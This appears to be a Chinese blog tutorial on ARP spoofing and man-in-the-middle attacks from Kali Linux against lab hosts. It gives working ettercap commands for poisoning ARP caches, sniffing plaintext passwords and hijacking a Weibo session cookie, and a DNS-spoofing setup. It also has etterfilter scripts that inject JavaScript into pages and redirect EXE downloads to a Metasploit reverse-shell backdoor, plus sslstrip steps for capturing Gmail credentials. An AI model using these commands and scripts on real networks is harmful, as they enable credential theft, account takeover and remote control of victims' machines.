流沙团
kali中ARP欺骗与MITM(中间人攻击)
2017-2-21 流沙团


测试环境如下:



拓扑图:



          











网关:



ASUS RT-N10+(DD-WRT)



IP:192.168.1.1/24



 



攻击主机:



BackTrack 5R3



IP:192.168.1.104/24



 



被攻击主机(1):



windows 7



IP:192.168.1.111/24



 



被攻击主机(2):



Android 平板



IP:192.168.1.101/24



 



一、使用ettercap-NG对目标主机进行ARP欺骗,并截获明文密码。



 



首先打开终端,输入ettercap -G 启动ettercap (ettercap要求使用root权限,使用sudo或者切换到root用户运行)的图形界面模式,如图所示:


             






打开ettercap-NG 的图形界面之后点击”sniff”,选择”unified sniffing”然后根据自己的要求选择要抓包的网卡。




              








然后单击Hosts选项,选择Scan for host,待扫描完成之后再选择Scan for host,然后选择Host list,此时可以看到ettercap-NG已经扫描的主机列表,如图所示:




             






然后我们就可以选择要攻击的目标了, 选择192.168.1.111的IP地址,点击Add to Target 1(添加到目标1),然后选择网关的IP地址192.168.1.1,点击Add to Target 2(添加到目标2),可以看到ettercap提示成功加入目标,如图所示:




            









然后明确攻击方式,这里我们要采用ARP欺骗的方式,告诉主机192.168.1.111我才是网关(192.168.1.1),使得192.168.1.111的主机把所有数据流量全部发给我,然后抓包截获密码(这些步骤都ettercap都可以自动完成,只要选择好目标主机就OK)



明确攻击方式之后,我们选择“mitm”—“arp poisoning”— “Sniff remote connections” — “确定”


            





这时可以看看目标主机的arp地址表,如图所示,ARP缓存毒化成功。




           









然后选择“Start” —  “Start sniffing” 开始监听!!!



这个时候目标主机的所有流量都是通过攻击者的主机出去的,想抓啥就抓啥….如图所示,目标主机使用网页以及Telnet命令登录路由设备,被截获密码


            



 





二、进行cookie劫持,登录被入侵者的网络账户



接着上面的步骤,可以使用ettercap-NG抓取被攻击者cookies从而实现cookies劫持,并登录被攻击者的网络账户



在施行攻击之前,先要使用Chrome浏览器+cookiehacker,构建一个可以在特定网页中嵌入cookies的工具,当然你会用Firebug等工具来弄也行。


       cookiehacker下载 地址:


链接地址



 



然后继续之前的步骤,实行ARP欺骗成功之后,点击主界面的”View” —  “connetcions” 可以查看被攻击主机的一些网络链接,双击某个链接即可查看截获数据包的详细信息(因为主机流量已经通过入侵者的主机出去,所以用Wireshark、tcpdump等抓包工具也可查看)。如图所示:


        





查看某个链接的详细信息,可能会看到如下信息:




       



然后把Cookie:后面的字段复制下来,然后按照上面的网址,访问腾讯微博的登录页面,将Cookie的值复制到cookiehacker对话框中,点击inject cookies,然后刷新网页!



….成功登录了微博帐号….





    











三、使用ettercap-NG+driftnet截获目标主机的图片数据流



本来还不知到有driftnet这个有趣的东西,直到前两个月看见到Return’s Blogs中一篇有趣的文章《Arp欺骗攻击的另类应用之屌丝泡妞记》



自己也测试了一下,感觉挺有意思,自己也做了一遍,把记录放上来…..



PS:其实Linux下实施ARP攻击的软件不只有ettercap,也可以使用arpspoof,arpspoof比较简洁,参数也少,非常易用…不过要配合iptables来转发流量,不然目标会断网,ettercap自带转发功能,功能也比较全面因此使用比较多。



 



这回采用ettercap—NG 的字符模式,对IP地址为192.168.1.101的安卓平板进行攻击



首先使用Nmap探测一下局域网的主机(在ettercap的字符模式也有这个功能,但是命令行我对nmap比较熟悉)



#nmap -P 192.168.1.*


        





命令:



# ettercap -i wlan0 -Tq -M arp:remote /192.168.1.101/ /192.168.1.1/



-i : 指定监听网口



-T :使用文本模式启动



-M:使用中间人攻击



-q:安静模式



后面是指定arp攻击方式以及两个目标


       





安卓平板上的ARP缓存也已经被毒化,如图:








这时,新打开一个终端,输入:



driftnet -i wlan0



表示监听wlan0










攻击环境:



网关:



ASUS RT-N10+(DD-WRT)



IP:192.168.1.1/24



攻击主机:



Kali Linux 1.0



IP:192.168.1.104/24



被攻击主机(1):



windows 7



IP:192.168.1.111/24



具体测试环境请参考:



kali中ARP欺骗与MITM(中间人攻击)(一)



1.ettercap插件使用(局域网内DNS欺骗举例)



 ettercap提供了很多有用的插件,在命令行上使用插件要加上大写字母”-P”。图形界面下plugins ——  Mange the plugins 然后双击启动插件,如图








插件启动后,插件名前面会显示一个“*”号

 

不过有的插件并不是直接开启就可以使用,就拿图中dns_spoof这个可以实现DNS欺骗的插件来说,使用前要先修改配置文件添加记录。在Kali Linux下ettercap的大多数配置文件和脚本文件存放在/usr/share/ettercap/目录下,下面我们来编辑一下dns_spoof这个插件的配置文件。

 

vim /usr/share/ettercap/etter.dns

 

在etter.dns添加一条A记录,把www.baidu.com转向127.0.0.1(本机保留地址) ,这会造成被攻击主机无法访问百度首页,如图所示:

 








然后使用ettercap对目标主机进行ARP+DNS欺骗:

 

 ettercap -Tq -i wlan0 -P dns_spoof -M arp:remote /192.168.1.111/ /192.168.1.1/

 

可以看到DNS被跳转至127.0.0.1,这样被攻击的主机访问百度首页的时候就会显示“无法连接”,不过访问IP和其他地址没问题。











以上是ettercap插件的简单举例,当然ettercap还有很多插件可以使用 ,这里就不一个个举例了。

 

 

2.使用ettercap过滤脚本简单使用:

 

ettercap还有很强大的过滤脚本功能,通过使用过滤脚本,可以对截获到的数据包做修改然后转发给被攻击的主机。可以实现替换网页内容、替换下载内容、在被入侵者访问的网页中插入代码等功能…..

 

下面我们就来新建一个过滤脚本,并使用它,在新建立一个文本中输入以下内容:


<span style="font-size:18px;">if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("<head>", "<head><script type="text/javascript">alert('rootoorotor was here');</script>");
replace("<HEAD>", "<HEAD><script type="text/javascript">alert('rootoorotor was here');</script>");
msg("注入成功!!\n");
}</span>







       我这里暂且这个文本命名为alert.filter,然后保存。 








这个脚本可以替换替换HTML代码中的<head>,在后面加入<script type=”text/javascript”>alert(‘rootoorotor was here’);</script>,玩Web的童鞋对这个应该很熟悉,就是在网页上弹出提示框的。要使用这个脚本,还需要使用ettercap自带的编译工具把这个脚本编译成ettercap可以识别的二进制文件。使用如下命令编译:



 

etterfilter alert.filter -o alert.ef

 

如图:

 






alert.ef就是已经编译完成的过滤脚本。然后可以利用过滤脚本发动攻击了。

 

ettercap -T -q -i wlan0 -F alert.ef -M arp:remote /192.168.1.111/  /192.168.1.1/

 

BTW:不知道为啥,rootoorotor在用命令行(-F)调用过滤脚本总是失败(没有脚本调用任何提示),用了绝对路径也不行。但是在GUI下调用过滤脚本正常,如果您知道问题出在那里真心希望能得到您的指导:)

图形界面下调用脚本比较简单,如图:








脚本执行时ettercap显示出了脚本执行的message








该脚本执行成功之后,被攻击者主机打开每个网页都会看到卖萌的信息:








接下来这个脚本是替换网页图片的(使用方法同上):


<span style="font-size:18px;">if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
#msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' ");
replace("IMG SRC=", "img src=http://up.2cto.com/2013/0507/20130507033106535.com/&' ");
msg("过滤执行.\n");
}</span>


效果如图:


 








当然你也可以自己修改脚本,挂个木马什么的。 

  下面是一个使用过滤脚本替换网页下载文件并夺取目标主机控制权的列子,这里结合Met asp loit生成一个反向链接的payload做演示: 

  msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -o setup.exe 

  如图










生成后门之后可以把后门程序放在网盘上,然后在下面用到的脚本中把下载地址替换为你放置后门的地点,然后新建一个替换下载内容的过滤脚本,保存为exe.filter:

 


if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Mousecat");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE\n");
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently Location: http://www.rootoorotor.org/setup.exe");
msg("redirect success\n");
}
}

编译脚本: 

  etterfilter exe.filter -o exe.ef 

  使用msfcli的handler监听本地的4444端口 

  msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 E










使用ettercap调用过滤脚本发动ARP攻击毒化目标主机的ARP缓存

 ettercap -Tq -i wlan0 -F /home/rootoorotor/Desktop/exe.ef -M arp:remote /192.168.1.111/  /192.168.1.1/

 当发动ARP攻击成功之后,被攻击主机从网站下载后缀名为exe的文件会被替换成后门程序的下载地址。如图:







被入侵者如果在不知明的情况下运行了setup.exe。入侵者就得到了被攻击主机(192.168.1.111)的控制权,如图














BTW:事实上不会这么简单就夺取一台主机的控制权,rootoorotor在操作的时候发现替换exe程序的脚本经常失效(希望懂的朋友能指点一二),这里只是做个简单的演示。

       学习怎样写过滤脚本可以使用man 8 etterfilter 查看帮助文档,这里提供了很多有用的过滤规则:

        http://fuzzexp.org/ettercap-filter-rules-send.html



参照别人的过滤规则然后修改成自己想要的规则是不错的选择~



 

 3.使用ssltrip突破ssl加密截获密码

 

2009年的黑帽大会上,一个名叫Moxie Marlinspike(作者博客:http://www.thoughtcrime.org/)的研究人员,发布了一个叫sslstrip的工具。通过该工具,可以实现对ssl进行中间人攻击。

 

原理大概是这样的:

 

1.ARP欺骗,使得攻击者能截获所有目标主机的网络流量;

2.攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替;

3.同时,与目标服务器建立正常的HTTPS连接;

4.由于HTTP通信是明文传输,攻击者能轻松实施嗅探。

 

环境依然是前面提到的那样:

攻击主机 :Kali Linux1.0  IP:192.168.1.104/24



被攻击主机: Windows 7  IP:192.168.1.111/24



网关:192.168.1.1/24



这里对192.168.1.111的主机使用的gmail账户进行攻击



账户:testuser9510@gmail.com



密码:!@#$%09876

 

 

步骤如下:

 

下载并安装sslstrip最新版(要求python版本>=2.5):

 

wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

 tar zxvf sslstrip-0.9.tar.gz 






cd sslstrip-0.9






 sudo python ./setup.py install

 开启内核转发功能保证攻击过程中被攻击者不断网:

 echo 1 > /proc/sys/net/ipv4/ip_forward

 使用iptables把80端口的流量转发到sslstrip监听的10000端口上:

 iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

 启动sslstrip

 sslstrip -l 10000








使用ettercap对目标主机进行arp攻击,并嗅探密码(过程中sslstrip的窗口不要关闭):

 ettercap -Tq -i wlan0 -M arp:remote /192.168.1.111/ /192.168.1.1/

 此时被攻击者登陆Gmail时https已经被降级为http,如图所示

 攻击前:












攻击后:












此时ettercap也截获到了gmail的密码,攻击完成















发表评论:
昵称

邮件地址 (选填)

个人主页 (选填)

内容